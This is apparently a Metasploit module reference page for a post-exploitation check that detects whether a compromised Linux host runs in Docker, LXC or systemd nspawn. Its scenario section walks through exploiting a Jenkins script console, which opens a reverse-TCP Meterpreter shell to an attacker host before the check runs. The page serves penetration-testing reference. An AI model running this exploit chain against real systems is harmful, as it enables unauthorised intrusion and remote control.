Linux Gather Container Detection - Metasploit


This page contains detailed information about how to use the post/linux/gather/checkcontainer metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Linux Gather Container Detection
Module: post/linux/gather/checkcontainer
Source code: modules/post/linux/gather/checkcontainer.rb
Disclosure date: -
Last modification time: 2017-08-06 00:46:09 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: -
Target network port(s): -
List of CVEs: -

This module attempts to determine whether the system is running inside of a container and if so, which one. This module supports detection of Docker, LXC, and systemd nspawn.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/linux/gather/checkcontainer

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/linux/gather/checkcontainer
msf post(checkcontainer) > show options
    ... show and set options ...
msf post(checkcontainer) > set SESSION session-id
msf post(checkcontainer) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/linux/gather/checkcontainer")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.

Knowledge Base

Indicators

There are several indicators that a process is being executed inside of a container. This module looks for the following indicators:

  1. Presence of /.dockerenv file indicates Docker.
  2. Finding select strings in /proc/1/cgroup indicates LXC or Docker.
  3. The value of the container environment variable in /proc/1/environ indicates LXC or systemd nspawn.

Verification Steps

  1. Start msfconsole
  2. Get a session via exploit of your choice
  3. run post/linux/gather/checkcontainer
  4. You should get feedback if a container was detected

Options

SESSION

Which session to use, which can be viewed with sessions -l

Scenarios

Check if the jenkins instance you have a shell on is running inside a Docker container.

msf > use exploit/multi/http/jenkins_script_console 
msf exploit(jenkins_script_console) > set API_TOKEN bc3dbc5c328733cc826c15772e6eaef5
API_TOKEN => bc3dbc5c328733cc826c15772e6eaef5
msf exploit(jenkins_script_console) > set RHOST 10.0.0.40
RHOST => 10.0.0.40
msf exploit(jenkins_script_console) > set RPORT 8080
RPORT => 8080
msf exploit(jenkins_script_console) > set TARGETURI /
TARGETURI => /
msf exploit(jenkins_script_console) > set TARGET 1
TARGET => 1
msf exploit(jenkins_script_console) > set USERNAME user
USERNAME => user
msf exploit(jenkins_script_console) > run

[*] Started reverse TCP handler on 10.0.0.49:4444 
[*] Checking access to the script console
[*] Authenticating with token...
[*] Using CSRF token: 'b83d12171ba5248100f1de20e6472067' (Jenkins-Crumb style)
[*] 10.0.0.40:8080 - Sending Linux stager...
[*] Sending stage (826840 bytes) to 10.0.0.40
[*] Meterpreter session 1 opened (10.0.0.49:4444 -> 10.0.0.40:54404) at 2017-08-16 20:56:23 -0500
[!] Deleting /tmp/aFdmPcC payload file

meterpreter > run post/linux/gather/checkcontainer 

[+] This appears to be a 'Docker' container
meterpreter >

Detect a LXC container
meterpreter > run post/linux/gather/checkcontainer

[+] This appears to be a 'LXC' container meterpreter > Detect a systemd nspawn container meterpreter > run post/linux/gather/checkcontainer

[+] This appears to be a 'systemd nspawn' container meterpreter > Detect nothing meterpreter > run post/linux/gather/checkcontainer

[*] This does not appear to be a container meterpreter >

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Msfconsole Usage

Here is how the linux/gather/checkcontainer post exploitation module looks in the msfconsole:

msf6 > use post/linux/gather/checkcontainer

msf6 post(linux/gather/checkcontainer) > show info

       Name: Linux Gather Container Detection
     Module: post/linux/gather/checkcontainer
   Platform: Linux
       Arch: 
       Rank: Normal

Provided by:
  James Otten <[email protected]>

Compatible session types:
  Meterpreter
  Shell

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  SESSION                   yes       The session to run this module on.

Description:
  This module attempts to determine whether the system is running 
  inside of a container and if so, which one. This module supports 
  detection of Docker, LXC, and systemd nspawn.

Module Options

This is a complete list of options available in the linux/gather/checkcontainer post exploitation module:

msf6 post(linux/gather/checkcontainer) > show options

Module options (post/linux/gather/checkcontainer):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

Advanced Options

Here is a complete list of advanced options supported by the linux/gather/checkcontainer post exploitation module:

msf6 post(linux/gather/checkcontainer) > show advanced

Module advanced options (post/linux/gather/checkcontainer):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   VERBOSE    false            no        Enable detailed status messages
   WORKSPACE                   no        Specify the workspace for this module

Post Actions

This is a list of all post exploitation actions which the linux/gather/checkcontainer module can do:

msf6 post(linux/gather/checkcontainer) > show actions

Post actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the linux/gather/checkcontainer post exploitation module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 post(linux/gather/checkcontainer) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

This does not appear to be a container

Here is a relevant code snippet related to the "This does not appear to be a container" error message:

55:	      end
56:	    end
57:	
58:	    if container
59:	      print_good("This appears to be a '#{container}' container")
60:	      report_virtualization(container)
61:	    else
62:	      print_status("This does not appear to be a container")
63:	    end
64:	  end
65:	end

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See Also

Check also the following modules related to this module:

Authors

  • James Otten <jamesotten1[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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